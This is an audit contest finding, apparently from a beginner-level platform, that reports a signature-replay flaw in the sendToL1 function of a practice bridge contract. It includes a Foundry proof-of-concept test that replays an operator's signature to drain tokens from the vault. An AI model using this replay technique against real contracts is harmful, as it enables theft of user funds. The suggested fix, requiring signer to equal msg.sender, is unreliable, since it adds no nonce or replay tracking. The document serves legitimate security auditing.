Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Replay possible in `sendToL1` in L1BossBridge

Summary

The sendToL1 function in the provided code does not validate if the msg.sender is the actual signer of the message. This allows any user to potentially steal funds by re-sending a previously signed message.

Vulnerability Details

The sendToL1 function first recovers the signer's address from the provided signature and then proceeds with the execution of the transaction. However, it does not check if the msg.sender (the caller of the function) matches the recovered signer's address. This means that any user can impersonate the signer by re-sending a previously signed message and steal funds from the contract.

Concrete example : An attacker can send Token on the vault, ask for a withdraw, and replay infinitely this withdraw to steal all tokens.

Foundry (in test file) PoC:

function testStealSendToL1PoC() public {
// setup attacker account
vm.prank(deployer);
token.transfer(address(attacker), 1000e18);
// innocent user send money to the bridge
testUserCanDepositTokens();
// attacker send money (to ask a withdraw an get a signature from the signer)
vm.startPrank(attacker);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
tokenBridge.depositTokensToL2(attacker, attackerInL2, amount);
// Check vault has the token from user and attacker
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount * 2);
vm.stopPrank();
// withdraw once to the attacker address thanks to one signer. (legitimate)
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(attacker, amount),
operator.key
);
vm.prank(operator.addr);
tokenBridge.withdrawTokensToL1(attacker, amount, v, r, s);
// The attacker can access v, r, s and even the message sent
// (or deduce it thanks to the source code) in any block explorer
// and reuse it like that to steal money remaining in the vault
bytes memory message_sent_by_signer = abi.encode(
address(token),
0,
abi.encodeCall(
IERC20.transferFrom,
(address(vault), attacker, amount)
)
);
// use same argument but sent by the hacker (NOT legitimate)
vm.startPrank(attacker);
tokenBridge.sendToL1(v, r, s, message_sent_by_signer);
// Check the success of the steal (return of the initial balance + amount stolen)
assertEq(token.balanceOf(attacker), 1000e18 + amount);
// Give back money because we are white hats, not sneaky thief.
token.transfer(address(vault), amount);
assertEq(token.balanceOf(attacker), 1000e18);
vm.stopPrank();
}

Impact

This vulnerability allows any user to steal funds by replaying a previously signed withdraw transaction. The potential impacts include:

  • Unauthorized fund transfers: An attacker can resend a previously signed message, tricking the contract into executing the transaction and transferring funds to their desired target address.

  • Financial loss: Users who expect their transactions to be secure may fall victim to unauthorized fund transfers, resulting in financial losses.

Tools Used

Manual review

Recommendations

To mitigate this vulnerability, it is crucial to validate that the msg.sender matches the actual signer of the message. This can be done by comparing the recovered signer's address with msg.sender before executing the transaction. If they do not match, the function should revert and reject the transaction.

Here is an updated version of the sendToL1 function with the signer validation:

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
require(signer == msg.sender, "Invalid signer");
// Rest of the function code...
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.